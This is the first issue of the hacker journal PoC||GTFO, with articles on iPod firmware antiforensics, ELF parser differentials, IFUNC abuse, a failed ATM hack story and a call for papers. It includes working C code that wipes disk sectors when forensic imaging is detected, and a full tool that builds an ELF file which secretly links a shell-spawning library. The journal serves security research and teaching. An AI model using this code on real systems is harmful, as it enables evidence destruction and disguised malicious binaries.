International Journal of PoC || GTFO
Issue 0x00, a CFP with PoC

An epistle from the desk of Rt. Revd. Pastor Manul Laphroaig
pastor@phrack.org

August 5, 2013

1 Call to Worship

Neighbors, please join me in reading this first issue of the International Journal of Proof of Concept or Get the Fuck Out, a friendly little journal for ladies and gentlemen of distinguished ability and taste in the field of computer security and the architecture of weird machines.

In Section 2, Travis Goodspeed will show you how to build your own antiforensics hard disk out of an iPod by simple patching of the open source Rockbox firmware. The result is a USB disk, which still plays music, but which will also self destruct if forensically imaged.

In Section 3, Julian Bangert and Sergey Bratus provide some nifty tricks for abusing the differences in ELF dialect between exec() and ld.so. As an example, they produce a file that is both a library and an executable, to the great confusion of reverse engineers and their totally legitimate IDA Pro licenses.

Section 4 is a sermon on the subjects of Bitcoin, Phrack, and the den on iniquity known as the RSA Conference, inviting all of you to kill some trees in order to save some source. It brings the joyful news that we should all shut the fuck up about hat colors and get back to hacking!

Delivering even more nifty ELF research, Bx presents in Section 5 a trick for returning from the ELF loader into a libc function by abuse of the IFUNC symbol. There's a catch, though, which is that on amd64 her routine seems to pass a very restricted set of arguments. The first parameter must be zero, the second must be the address of the function being called, and the third argument must be the address of the symbol being dereferenced. Readers who can extend this into an arbitrary return to libc are urged to do it and share the trick with others!

Remembering good times, Section 6 by FX tells us of an adventure with Barnaby Jack, one which features a golden vending machine and some healthy advice to get the fuck out of Abu Dhabi.

Finally, in Section 7, we pass the collection plate and beg that you contribute some PoC of your own. Articles should be short and sweet, written such that a clever reader will be inspired to build something nifty.

2 iPod Antiforensics

by Travis Goodspeed

In my lecture introducing Active Disk Antiforensics at 29C3, I presented tricks for emulating a disk with self defense features using the Facedancer board. This brief article will show you how to build your own antiforensics disk out of an iPod by patching the Rockbox framework.

To quickly summarize that lecture: (1) USB Mass Storage is just a wrapper for SCSI. We can implement these protocols and make our own disks. (2) A legitimate host will follow the filesystem and partition data structure, while a malicious host—that is to say, a forensics investigator's workstation—will read the disk image from beginning to end. There are other ways to distinguish hosts, but this one is the easiest and has fewest false positives. (3) By overwriting its contents as it is being imaged, a disk can destroy whatever evidence or information the forensics investigator wishes to obtain.

There are, of course, exceptions to the above rules. Some high-end imaging software will image a disk backward from the last sector toward the first. A law-enforcement forensics lab will never mount a volume before imaging it, but an amateur or a lab less concerned with a clean prosecution might just copy the protected files out of the volume.

Finally, there is the risk that an antiforensics disk might be identified as such by a forensics investigator. The disk's security relies upon the forensics technician triggering the erasure, and it won't be sufficient if the technician knows to work around the defenses. For example, he could revert to the recovery ROM or read the disk directly.

2.1 Patching Rockbox

Rockbox exposes its hard disk to the host through USB Mass Storage, where handler functions implement each of the different SCSI commands needed for that protocol. To add antiforensics, it is necessary only to hook two of those functions: READ(10) and WRITE(10).

In `firmware/usbstack/usb_storage.c` of the Rockbox source code, blocks are read in two places. The first of these is in handle_scsi(), near the SCSI_READ_10 case. At the end of this case, you should see a call to send_and_read_next(), which is the second function that must be patched.

In *both* of these, it is necessary to add code to both (1) observe incoming requests for illegal traffic and (2) overwrite sectors as they are requested after the disk has detected tampering. Because of code duplication, you will find that some data leaks out through send_and_read_next() if you only patch handle_scsi(). (If these function names mean nothing to you, then you do not have the Rockbox code open, and you won't get much out of this article, now will you? Open the damn code!)

On an iPod, there will never be any legitimate reads over USB to the firmware partition. For our PoC, let's trigger self-destruction when that region is read. As this is just a PoC, this patch will provide nonsense replies to reads instead of destroying the data. Also, the hardcoded values might be specific to the 2048-byte sector devices, such as the more recent iPod Video hardware.

The following code should be placed in the SCSI_READ_10 case of handle_scsi(). `tamperdetected` is a static bool that ought to be declared earlier in `usb_storage.c`. The same code should go into the send_and_read_next() function.

```
//These sectors are for 2048-byte sectors.
//Multiply by 4 for devices with 512-byte sectors.
if(cur_cmd.sector>=10000 && cur_cmd.sector<48000)
  tamperdetected=true;

//This is the legitimate read.
cur_cmd.last_result = storage_read_sectors(
  IF_MD2(cur_cmd.lun,) cur_cmd.sector,
  MIN(READ_BUFFER_SIZE/SECTOR_SIZE, cur_cmd.count),
```

```
  cur_cmd.data[cur_cmd.data_select]
);

//Here, we wipe the buffer to demo antiforensics.
if(tamperdetected){
  for(i=0;i<READ_BUFFER_SIZE;i++)
    cur_cmd.data[cur_cmd.data_select][i]=0xFF;
  //Clobber the buffer for testing.
  strcpy(cur_cmd.data[cur_cmd.data_select],
         "Never gonna let you down.");

  //Comment the following to make a harmless demo.
  //This writes the buffer back to the disk,
  //eliminating any of the old contents.
  if(cur_cmd.sector>=48195)
    storage_write_sectors(
         IF_MD2(cur_cmd.lun,)
         cur_cmd.sector,
         MIN(WRITE_BUFFER_SIZE/SECTOR_SIZE, cur_cmd.count),
         cur_cmd.data[cur_cmd.data_select]);
}
```

2.2 Shut up and play the single!

Neighbors who are too damned lazy to read this article and implement their own patches can grab my Rockbox patches from `https://github.com/travisgoodspeed/`.

2.3 Bypassing Antiforensics

This sort of an antiforensics disk can be most easily bypassed by placing the iPod into Disk Mode, which can be done by a series of key presses. For example, the iPod Video is placed into Disk Mode by holding the Select and Menu buttons to reboot, then holding Select and Play/Pause to enter Disk Mode. Be sure that the device is at least partially charged, or it will continue to reboot. Another, surer method, is to remove the disk from the iPod and read it manually.

Further, this PoC does not erase evidence of its own existence. A full and proper implementation ought to replace the firmware partition at the beginning of the disk with a clean Rockbox build of the same revision and also expand later partitions to fill the disk.

2.4 Neighborly Greetings

Kind thanks are due to The Grugq and Int80 for their work on traditional antiforensics of filesystems and file formats. Thanks are also due to Scott Moulton for discretely correcting a few of my false assumptions about real-world forensics.

Thanks are also due to my coauthors on an as-yet-unpublished paper which predates all of my active antiforensics work but is being held up by the usual academic nonsense.

3 ELFs are dorky, Elves are cool

by Sergey Bratus and Julian Bangert

ELF ABI is beautiful. It's one format to rule all the tools: when a compiler writes a love letter to the linker about its precious objects, it uses ELF; when the RTLD performs runtime relocation surgery, it goes by ELF; when the kernel writes an epitaph for an uppity process, it uses ELF. Think of a possible world where binutils would use their own separate formats, all alike, leaving you to navigate the maze; or think of how ugly a binary format that's all things to all tools could turn out to be (∗cough∗ ASN.1, X.509 ∗cough∗), and how hard it'd be to support, say, ASLR on top of it. Yet ELF is beautiful.

Verily, when two parsers see two different structures in the same bunch of bytes, trouble ensues. A difference in parsing of X.509 certificates nearly broke the internets' SSL trust model[1]. The latest Android "Master Key" bugs that compromised APK signature verification are due to different interpretation of archive metadata by Java and C++ parsers/unzippers[2] – yet another security model-breaking parser differential. Similar issues with parsing other common formats and protocols may yet destroy remaining trust in the open Internet – but see `http://langsec.org/` for how we could start about fixing them.

ELF is beautiful, but with great beauty there comes great responsibility – for its parsers.[3] So do all the different binutils components as well as the Linux kernel see the same contents in an ELF file? This PoC shows that's not the case.

There are two major parsers that handle ELF data. One of them is in the Linux kernel's implementation of *execve(2)* that creates a new process virtual address space from an ELF file. The other – since the majority of executables are dynamically linked – is the RTLD (*ld.so(8)*, which on your system may be called something like */lib64/ld-linux-x86-64.so.2*[4], which loads and links your shared libraries – into the same address space.

It would seem that the kernel's and the RTLD's views of this address space must be the same, that is, their respective parsers should agree on just what spans of bytes are loaded at which addresses. As luck and Linux would have it, they do not.

The RTLD is essentially a complex name service for the process namespace that needs a whole lot of configuration in the ELF file, as complex a tree of C structs as any. By contrast, the kernel side just looks for a flat table of offsets and lengths of the file's byte segments to load into non-overlapping address ranges. RTLD's configuration is held by the *.dynamic* section, which serves as a directory of all the relevant symbol tables, their related string tables, relocation entries for the symbols, and so on.[5] The kernel merely looks past the ELF header for the flat table of loadable segments and proceeds to load these into memory.

As a result of this double vision, the kernel's view and the RTLD's view of what belongs in the process address space can be made starkly different. A *libpoc.so* would look like a perfectly sane library to RTLD, calling an innocent "Hello world" function from an innocent *libgood.so* library. However, when run as an executable it would expose a different *.dynamic* table, link in a different library *libevil.so*, and call a very different function (in our PoC, dropping shell). It should be noted that *ld.so* is also an executable and can be used to launch actual executables lacking executable permissions, a known trick from the Unix antiquity;[6] however, its construction is different.

The core of this PoC, *makepoc.c* that crafts the dual-use ELF binary, is a rather nasty C program. It is, in fact, a "backport-to-C" of our Ruby ELF manipulation tool *Mithril*[7], inspired by *ERESI*[8], but intended for liberally rewriting binaries rather than for ERESI's subtle surgery on the live process space.

---

[1] See "PKI Layer Cake" `http://ioactive.com/pdfs/PKILayerCake.pdf` by Dan Kaminsky, Len Sassaman, and Meredith L. Patterson

[2] See, e.g., `http://www.saurik.com/id/18` and `http://www.saurik.com/id/17`.

[3] Cf. "The Format and the Parser", a little-known variant of the "The Beauty and the Beast". They resolved their parser differentials and lived vulnlessly ever after.

[4] Just `objcopy -O binary -j .interp /bin/ls /dev/stdout`, wasn't that easy? :)

[5] To achieve RTLD enlightenment, meditate on the grugq's `http://grugq.github.io/docs/subversiveld.pdf` and mayhem's `http://s.eresi-project.org/inc/articles/elf-rtld.txt`, for surely these are the incarnations of the ABI Buddhas of our age, and none has described the runtime dynamic linking internals better since.

[6] `/lib/ld-linux.so <wouldbe-execfile>`

[7] `https://github.com/jbangert/mithril`

[8] `http://www.eresi-project.org/`

```
/* ---------------------- makepoc.c ---------------------------*/
/*
    I met a professor of arcane degree
    Who said: Two vast and handwritten parsers
    Live in the wild. Near them, in the dark
    Half sunk, a shattering exploit lies, whose frown,
    And wrinkled lip, and sneer of cold command,
    Tell that its sculptor well those papers read
    Which yet survive, stamped on these lifeless things,
    The hand that mocked them and the student that fed :
    And on the terminal these words appear:
    "My name is Turing, wrecker of proofs:
    Parse this unambigously, ye machine, and despair!"
    Nothing besides is possible. Round the decay
    Of that colossal wreck, boundless and bare
    The lone and level root shells fork away.
            -- Inspired by Edward Shelley
*/
#include <elf.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#define PAGESIZE  4096
size_t filesz;
char file[3*PAGESIZE]; //This is the enormous buffer holding the ELF file.
                       // For neighbours running this on an Electronica BK,
                       // the size might have to be reduced.
Elf64_Phdr *find_dynamic(Elf64_Phdr *phdr);uint64_t find_dynstr(Elf64_Phdr *phdr);
/* New memory layout
  Memory          mapped to    File Offsets
0k ++++|        |        | ELF Header      |  ---|
   +   |First |***** |  (orig. code)    |    | |  LD.so/kernel boundary assumes
   +   | Page |       |  (real .dynamic)| <-|-+  the offset that applies on disk
4k +   +======+       +=================+   | |  works also in memory; however,
   +   |       |      |                   |      if phdrs are in a different
   ++> |Second|*      |  kernel_phdr     |<--|--  segment, this won't hold.
       | Page | *     |                  |
       |       |  *   |                  |
       +======+   *   +==================+
                    *  |  ldso_phdrs      |---|
                       |  fake .dynamic   | <-|
                       |   w/ new dynstr  |
                       ====================
    Somewhere far below, there is the .data segment (which we ignore)
*/
int elf_magic(){
  Elf64_Ehdr *ehdr = file;
  Elf64_Phdr *orig_phdrs  = file + ehdr->e_phoff;
  Elf64_Phdr *firstload,*phdr;
  int i=0;
```

```
//For the sake of brevity, we assume a lot about the layout of the program:
assert(filesz>PAGESIZE);    //First 4K has the mapped parts of program
assert(filesz<2*PAGESIZE); //2nd 4K holds the program headers for the kernel
                           //3rd 4k holds the program headers for ld.so +
// the new dynamic section and is mapped just above the program
for(firstload = orig_phdrs; firstload->p_type!=PT_LOAD; firstload++);
assert(0 == firstload->p_offset);
assert(PAGESIZE > firstload->p_memsz); //2nd page of memory will hold 2nd segment
uint64_t base_addr = (firstload->p_vaddr & ~0xfffUL);

//PHDRS as read by the kernel's execve() or dlopen(), but NOT seen by ld.so
Elf64_Phdr *kernel_phdrs = file + filesz;
memcpy(kernel_phdrs,orig_phdrs,ehdr->e_phnum * sizeof(Elf64_Phdr));//copy PHDRs
ehdr->e_phoff = (char *)kernel_phdrs - file; //Point ELF header to new PHDRs
ehdr->e_phnum++;

//Add a new segment (PT_LOAD), see above diagram
Elf64_Phdr *new_load = kernel_phdrs + ehdr->e_phnum - 1;
new_load->p_type = PT_LOAD;
new_load->p_vaddr =  base_addr + PAGESIZE;
new_load->p_paddr = new_load->p_vaddr;
new_load->p_offset = 2*PAGESIZE;
new_load->p_filesz = PAGESIZE;
new_load->p_memsz = new_load->p_filesz;
new_load->p_flags = PF_R | PF_W;
  // Disable large pages or ld.so complains when loading as a .so
for(i=0;i<ehdr->e_phnum;i++){
  if(kernel_phdrs[i].p_type == PT_LOAD)
    kernel_phdrs[i].p_align = PAGESIZE;
}

//Setup the PHDR table to be seen by ld.so, not kernel's execve()
Elf64_Phdr *ldso_phdrs = file + ehdr->e_phoff
  - PAGESIZE    // First 4K of program address space is mapped in old segment
  + 2*PAGESIZE; // Offset of new segment
memcpy(ldso_phdrs, kernel_phdrs,ehdr->e_phnum * sizeof(Elf64_Phdr));
//ld.so 2.17 determines load bias (ASLR) of main binary by looking at PT_PHDR
for(phdr=ldso_phdrs;phdr->p_type != PT_PHDR;phdr++);
phdr->p_paddr = base_addr + ehdr->e_phoff; //ld.so expects PHDRS at this vaddr
//This isn't used to find the PHDR table, but by ld.so to compute ASLR slide
//(main_map->l_addr) as (actual PHDR address)-(PHDR address in PHDR table)
phdr->p_vaddr = phdr->p_paddr;

//Make a new .dynamic table at the end of the second segment,
//  to load libevil instead of libgood
unsigned dynsz = find_dynamic(orig_phdrs)->p_memsz;
Elf64_Dyn *old_dyn = file + find_dynamic(orig_phdrs)->p_offset;
Elf64_Dyn *ldso_dyn = (char *)ldso_phdrs + ehdr->e_phnum * sizeof(Elf64_Phdr);
memcpy(ldso_dyn,old_dyn,dynsz);
//Modify address of dynamic table in ldso_phdrs (which is only used in exec())
find_dynamic(ldso_phdrs)->p_vaddr = base_addr + (char*)ldso_dyn -
```

```
                                        file - PAGESIZE;

  //We need a new dynstr entry. Luckily ld.so doesn't do range checks on strtab
  //offsets, so we just stick it at the end of the file
  char *ldso_needed_str = (char *)ldso_dyn +
                          ehdr->e_phnum * sizeof(Elf64_Phdr) + dynsz;
  strcpy(ldso_needed_str, "libevil.so");
  assert(ldso_dyn->d_tag == DT_NEEDED); //replace 1st dynamic entry, DT_NEEDED
  ldso_dyn->d_un.d_ptr =  base_addr + ldso_needed_str - file -
    PAGESIZE - find_dynstr(orig_phdrs);
}
void readfile(){
  FILE *f= fopen("target.handchecked","r");
  //provided binary because the PoC might not like the output of your compiler
  assert(f);
  filesz = fread(file ,1,sizeof file,f); // Read the entire file
  fclose(f);
}
void writefile(){
  FILE *f= fopen("libpoc.so","w");
  fwrite(file,sizeof file,1,f);
  fclose(f);
  system("chmod +x libpoc.so");
}
Elf64_Phdr *find_dynamic(Elf64_Phdr *phdr){
  //Find the PT_DYNAMIC program header
  for(;phdr->p_type != PT_DYNAMIC;phdr++);
  return phdr;
}
uint64_t find_dynstr(Elf64_Phdr *phdr){
  //Find the address of the dynamic string table
  phdr = find_dynamic(phdr);
  Elf64_Dyn *dyn;
  for(dyn = file + phdr->p_offset; dyn->d_tag != DT_STRTAB; dyn++);
  return dyn->d_un.d_ptr;
}
int main()
{
  readfile();
  elf_magic();
  writefile();
}

# ---------------------- Makefile ----------------------
%.so: %.c
        gcc -fpic -shared -Wl,-soname,$@ -o $@ $^
all: libgood.so libevil.so makepoc target libpoc.so all_is_well

libpoc.so: target.handchecked  makepoc
        ./makepoc
clean:
        rm -f *.so *.o target makepoc all_is_well
```

```
target: target.c libgood.so libevil.so
        echo "#define INTERP \"`objcopy -O binary -j .interp \
        /bin/ls /dev/stdout`\"" >> interp.inc && gcc -o target \
        -Os -Wl,-rpath,. -Wl,-efoo -L . -shared -fPIC -lgood target.c \
         && strip -K foo $@ && echo 'copy target to target.handchecked by hand!'

target.handchecked: target
        cp $< $@; echo "Beware, you compiled target yourself. \
        YMMV with your compiler, this is just a friendly poc"

all_is_well: all_is_well.c libpoc.so
        gcc -o $@ -Wl,-rpath,. -lpoc -L. $<
makepoc: makepoc.c
        gcc -ggdb -o $@ $<

/* ---------------------- target.c ---------------------------*/
#include <stdio.h>
#include "interp.inc"
const char my_interp[] __attribute__((section(".interp"))) = INTERP;
extern int func();
int foo(){
  //  printf("Calling func\n");
  func();
  exit(1); //Needed, because there is no crt.o
}

/* ---------------------- libgood.c ---------------------------*/
#include <stdio.h>
int func(){ printf("Hello World\n");}

/* ---------------------- libevil.c ---------------------------*/
#include <stdio.h>
int func(){ system("/bin/sh");}

/* ---------------------- all_is_well.c ---------------------------*/
extern int foo();
int main(int argc, char **argv)
{
  foo();
}
```

3.1 Neighborly Greetings and *cite*{}s:

Our gratitude goes to Silvio Cesare, the grugq, klog, mayhem, and Nergal, whose brilliant articles in *Phrack* and elsewhere taught us about the ELF format, runtime, and ABI. Special thanks go to the ERESI team, who set a high standard of ELF (re)engineering to follow. Skape's article *Uninformed 6:3* led us to re-examine ELF in the light of weird machines, and we thank .Bx for showing how to build those to full generality. Last but not least, our view was profoundly shaped by Len Sassaman and Meredith L. Patterson's amazing insights on parser differentials and their work with Dan Kaminsky to explore them for X.509 and other Internet protocols and formats.

4 The Pastor Manul Laphroaig's First Epistle to Hacker Preachers of All Hats, in the sincerest hope that we might shut up about hats, and get back to hacking.

First, I must caution you to cut out the Sun Tsu quotes. While every good speaker indulges in quoting from good books of fiction or philosophy, verily I warn you that this can lead to unrighteousness! For when we tell beginners to study ancient philosophy instead of engineering, they will become experts in the Art of War and not in the Art of Assembly Language! They find themselves reading Wikiquote instead of Phrack, and we are all the poorer for it!

I beg you: Rather than beginning your sermons with a quote from Sun Tzu, begin them with nifty little tricks which the laity can investigate later. For example, did you know that *'strings -n 20 /.bitcoin/blk0001.dat'* dumps ASCII art portraits of both Saint Sassaman and Ben Bernanke? This art was encoded as fake public keys used in real transactions, and it can't be removed without undoing all Bitcoin transactions since it was inserted into the chain. The entire Bitcoin economy depends upon the face of the chairman of the Fed not being removed from its ledger! Isn't that clever?

Speaking of cleverness, show respect for it by citing your scripture in chapter and verse. Phrack 49:14 tells us of Aleph1's heroic struggle to explain the way the stack really works, and Uninformed 6:2 is the harrowing tale of Johnny Cache, H D Moore, and Skape exploiting the Windows kernel's Wifi drivers with beacon frames and probe responses. These papers are memories to be cherished, and they are stories worth telling. So tell them! Preach the good word of how the hell things actually work at every opportunity!

Don't just preach the gospel, give the good word on paper. Print a dozen copies of a nifty paper and give them away at the next con. Do this at Recon, and you will make fascinating friends who will show you things you never knew, no matter how well you knew them before. Do this at RSA–without trying to sell anything–and you'll be a veritable hero of enlightenment in an expo center of half-assed sales pitches and booth babes. Kill some trees to save some souls!

Don't just give papers that others have written. Give early drafts of your own papers, or better still your own documented 0day. Nothing demonstrates neighborliness like the gift of a good exploit.

Further, I must warn you to ignore this Black Hat / White Hat nonsense. As a Straw Hat, I tell you that it is not the color of the hat that counts; rather, it is the weave. We know damned well that patching a million bugs won't keep the bad guys out, just as we know that the vendor who covers up a bug caused by his own incompetence is hardly a good guy. We see righteousness in cleverness, and we study exploits because they are so damnably clever! It is a heroic act to build a debugger or a disassembler, and the knowledge of how to do so ought to be spread far and wide.

First, consider the White Hats. Black Hats are quick to judge these poor fellows as do-gooders who kill bugs. They ask, "Who would want to kill such a lovely bug, one which gives us such clever exploits?" Verily I tell you that death is a necessary part of the ecosystem. Without neighbors squashing old bugs, what incentive would there be to find more clever bugs or to write more clever exploits? Truly I say to the Black Hats, you have recouped every dollar you've lost on bugfixes by the selective pressure that makes your exploits valuable enough to sustain a market!

Next, consider the Black Hats. White Hat neighbors are still quicker to judge these poor fellows, not so much for selling their exploits as for hoarding their knowledge. A neighbor once told me, "Look at these sinners! They hide their knowledge like a candle beneath a basket, such that none can learn from it." But don't be so quick to judge! While it's true that the Black Hats publish more slowly, do not mistake this for not publishing. For does not a candle, when hidden beneath a basket, soon set the basket alight and burn ten times as bright? And is not self-replicating malware just a self-replicating whitepaper, written in machine language for the edification of those who read it? Verily I tell you, even the Black Hats have a neighborliness to them.

So please, shut about hats and get back to the code.

—M. Laphroaig

Postscript: This little light of mine, I'm gonna let it shine!

5 Returning from ELF to Libc

by Rebecca "Bx" Shapiro

Dear friends,

As you may or may not know, demons lurk within ELF metadata. If you have not yet been introduced to these creatures, please put this paper down and take a look at either our talk given at 29C3[9], or our soon-to-be released WOOT publication (in August 2013).

Although the ability to treat the loader as a Turing-complete machine is Pretty_Neat, we realize that there are a lot of useful computation vectors built right into the libraries that are mapped into the loader and executable's address space. Instead of re-inventing the wheel, in this POC sermon we'd like to begin exploring how to harness the power given to us by the perhaps almighty libc.

The System V amd64 ABI scripture[10] in combination with the eglibc-2.17 writings have provided us ELF demon-tamers with the mighty useful IFUNC symbol. Any symbol of type IFUNC is treated as an indirect function – the symbol's value is treated as a function, which takes no arguments, and whose return value is the patch.

The question we will explore from here on is: Can we harness the power of the IFUNC to invoke a piece of libc?

After vaguely thinking about this problem for a couple of months, we have finally made progress towards the answer.

Consider the exit() library call. Although one may question why we would want to craft metadata that causes a exit() to be invoked, we will do so anyway, because it is one of the simplest calls we can make, because the single argument it takes is not particularly important, and success is immediately obvious.

To invoke exit(), we must lookup the following information when we are compiling the crafted metadata into some host executable. This is accomplished in three steps, as we explain in our prior work.

1. The location of exit() in the libc binary.
2. The location of the host executable's dynamic symbol table.
3. The location of the host executable's dynamic relocation table.

To invoke exit(), we must accomplish the following during runtime:

1. Lookup the base address of libc.
2. Use this base address to calculate the location of exit() in memory.
3. Store the address of exit() in a dynamic IFUNC symbol.
4. Cause the symbol to be resolved.

... and then there was exit()!

Our prior work has demonstrated how to accomplish the first two tasks. Once the first two tasks have been completed at runtime, we find ourselves with a normal symbol (which we will call symbol 0) whose value is the location of exit(). At this point we have two ways to proceed: we can

(1) have a second dynamic symbol (named symbol 1) of type IFUNC and have relocation entry of type R_X86_64_64 which refers to symbol 0 and whose offset is set to the location of symbol 1's values, causing the location of ext() to be copied into symbol 1,

-or-

(2) update the type of the symbol that already has the address of exit() to that it becomes an IFUNC. This can be done in a single relocation entry of type R_X86_64, whose addend is that which is copied to the

[9] `https://www.youtube.com/watch?v=dnLYoMIBhpo`

[10] `http://www.uclibc.org/docs/psABI-x86_64.pdf`

first 8 bytes of symbol 0. If we set the addend to `0x0100000a00000000`, we will find that the symbol type will become 0x0a (IFUNC), the symbol shndx will be set as 01 so the IFUNC is treated as defined, and the other fields in the symbol structure will remain the same.

After our metadata that sets up the IFUNC, we need a relocation entry of type R_X86_64_64 that references our IFUNC symbol, which will cause exit() to be invoked.

At this moment, you may be wondering how it may be possible to do more interesting things such as have control of the argument passed to the function call. It turns out that this problem is still being researched. In eglibc-2.17, at the time the IFUNC is called, the first argument is and will always be 0, the second argument is the address of the function being called, and the third argument the addressed of the symbol being referenced. Therefore at this level exec(0) is always called. It will clearly take some clever redirection magic to be able to have control over the function's arguments purely from ELF metadata.

Perhaps you will see this as an opportunity to go on a quest of ELF-discovery and be able to take this work to the next level. If you do discover a path to argument control, we hope you will take the time to share your thoughts with the wider community.

Peace out, and may the Manul always be with you.

6 GTFO or #FAIL

by FX of Phenoelit

To honor the memory of the great Barnaby Jack, we would like to relate the events of a failed POC. It happened on the second day of the Black Hat Abu Dhabi conference in 2010 that the hosts, impressed by Barnaby's presentation on ATMs,[11] pointed out that the Emirates Palace hotel features a gold ATM[12]. So they asked him to see if he could hack that one too.

Never one to reject challenges or fun to be had, Barns gathered a bunch of fellow hackers, who shall remain anonymous in this short tale, to accompany him to the gold ATM. Sufficient to say, yours truly was among them. Thus it happened that a bunch of hackers and a number of hosts in various white and pastel colored thawbs went to pay the gold ATM a visit. Our hosts had assured everyone in the group that it was totally OK for us to hack the machine, as long as they were with us.

6.1 The POC

While the gold ATM, being plated with gold itself, looked rather solid[13], a look at the back of the machine revealed a messy knot of cables, the type of wiring normally found on a Travis Goodspeed desk. Since the machine updates the gold pricing information online, we obviously wanted to have a look at the traffic. We therefore disconnected the flimsy network connections and observed the results, of which there were initially none to be observed, except for the machine to start beeping in an alarming way.

Nothing being boring, we decided to power cycle the machine and watch it boot. For that, yours truly got behind it and used his considerable power cable unplugging skills to their fullest extent. Interestingly enough, the gold ATM stayed operational, obviously being equipped with the only Uninterruptable Power Source (UPS) in the world that actually provides power when needed.

Reappearing from behind the machine, happily holding the unplugged network and power cables, yours truly observed the group of hosts being already far away and the group of hackers following close behind. Inverting their vector of movement, the cause of the same became obvious with the approaching storm troopers of Blackwater quality and quantity. Therefore, yours truly joined the other hackers at considerable speed.

6.2 The FAIL

Needless to say, what followed was a tense afternoon of drinking, waiting, and considering exit scenarios from a certain country, depending on individual citizenships, while powers to be were busy turning the incident into a non-issue.

The #FAIL was quickly identified as the inability of the fellowship of hackers to determine rank and therefore authority of people that all wear more or less the same garments. What had happened was that the people giving authority to hack the machine actually did not possess said authority in the first place or, alternatively, had pissed off someone with more authority.

The failed POC pointed out the benefits of western military uniforms and their rank insignia quite clearly.

6.3 Neighborly Greetings

Neighborly greetings are in order to Mr. Nils, who, upon learning about the incident, quietly handed the local phone number of the German embassy to yours truly.

[11] `https://www.blackhat.com/html/bh-ad-10/bh-ad-10-archives.html\#Jack`

[12] `http://www.nydailynews.com/2.1353/abu-dhabi-emirates-palace-hotel-sports-vending-machine-gold-article-1.449348`

[13] `http://www.gold-to-go.com/en/company/history/`

7 A Call for PoC

by Rt. Revd. Pastor Manul Laphroaig

We stand, sit, or simply relax and chill on the shoulders of the giants, *Phrack* and *Uninformed*. They pushed the state-of-the-art forward mightily with awesome, deep papers and at times even with poetry to match. And when a single step carries you forward by a measure of academic years, it's OK to move slowly.

But for the rest of us dwarves, running around or lounging on those broad shoulders can be so much fun! A hot PoC is fun to toss to a neighbor, and who knows what some neighbor will cook up with it for the shared roast of the vuln-beast? A neighbor might think, "my PoC is unexploitable" or "it is too simple," but verily I tell you, one neighbor's PoC is the missing cog for another neighbor's 0day. How much PoC is hoarded and lies idle while its matching piece of PoC wastes away in another hoard? Let's find out!

7.1 Author guidelines

It is easy to prepare your paper for submission to IJPoC||GTFO in seven easy steps.

1. If you have a section called *Introduction* or some such nonsense, replace it with a two-sentence statement of why the reader who doesn't care about the subject after reading your abstract should care, and a link to a good tutorial. Some caring neighbor must have spent a great deal of effort writing it already, and who needs a hundred little one-pagers, all alike, on top of that?
2. If you have a section called *Motivation*, see item 1.
3. Scan your paper for tables. If you find a table, replace it with an equivalent piece of code. Repeat. This is important.
4. Scan your paper for diagrams of the boxes-and-arrows kind. Unless the boxes are code basic blocks, there had better be text on the arrows detailing exactly what is being sent on that arrow. If in doubt, replace with equivalent code.
5. If you have a section called *Related work*, replace it with a neighborly *Howdy* to neighbors who did that work, and cite it in the text of your paper that it's related to.
6. If you have a section called *Conclusion*, replace it with a *Howdy* to neighbors who care. They have already read your paper and need not be told what they just read.
7. Make up and apply the remaining steps in the spirit of the above, and may the Pastor or his trusty Editor smile upon your submission!

7.2 Other Departments

For the proper separation of the goats and the lambs, there shall be various Departments. Each Department shall have an Editor, excepting those that shall have two or more, so that they may fight with each other over Important Decisions, and neighbors far and wide shall not be denied a proper helping of Hacker Drama.[14]

Editor at Large	Rt. Revd. Pastor M.L.
Dept. of Bringing APT Home	Cultural attaché of the 41st Directorate
Dept. of Fail	FX of Phenoelit
Ethics Board	The Grugq
Dept. of Busting BS	pipacs
Poet Laureate	Ben Nagy[15]
Dept. of Rejections	Academic Refugee
Dept. of Drama	Xbf
Dept. of PHY	Michael Ossmann

[14] All such Drama will be helpfully documented under the `/drama/` URL, which is the practice we respectfully recommend to all other esteemed venues.

Bullshit Busting Department. Remember that feeling when you are reading a paper and come to a table or graph that just makes you wonder if bovine excreta have been used in its production? Well neighbors, wonder no more, but send it to us and trust our world-renowned experts to call it out right and proper!

Rejected-from: Department of Rejections. The Pastor admonishes us, "Read the Fucking Paper!" and sometimes also, "Write the Fucking Paper!" So even though sharing a drink, a story, and a hack with a neighbor is still the most efficient method of knowledge transmission[16], diligent neighbors also write papers. And when a paper is written, why not enter it into the lottery otherwise known as the Academic Conference Peer Review Process?

The process goes thusly: first you submit a paper, then you receive a rejection, along with the collectible essays called Reviews. Sometimes these little pieces of text have little to do with your paper, but mostly they explain how reviewers misunderstood what you had to say, and how they couldn't care less. The art of Reviewing is ancient, and goes back to ritual insults that rivals bellowed at each other before or instead of battle. Although not all Reviewers take their art seriously, occasionally they manage to plumb the true depths of trolling. In the words of the Pastor, "If you stand under the Ivory Tower long enough, you will never want for fertilizer."

The neighbor who collects the most creatively insulting Reviews wins. Submissions will be judged by our Editors, and best ones will receive prizes.

[15] If you don't trust our taste, read Ben's masterpiece `https://lists.immunityinc.com/pipermail/dailydave/2012-August/000187.html`, and judge for yourself!

[16] For in-depth discussion, see [PXE] `http://ph-neutral.darklab.org/PXE.txt` and [PXE2] `http://ph-neutral.darklab.org/PXE2.txt`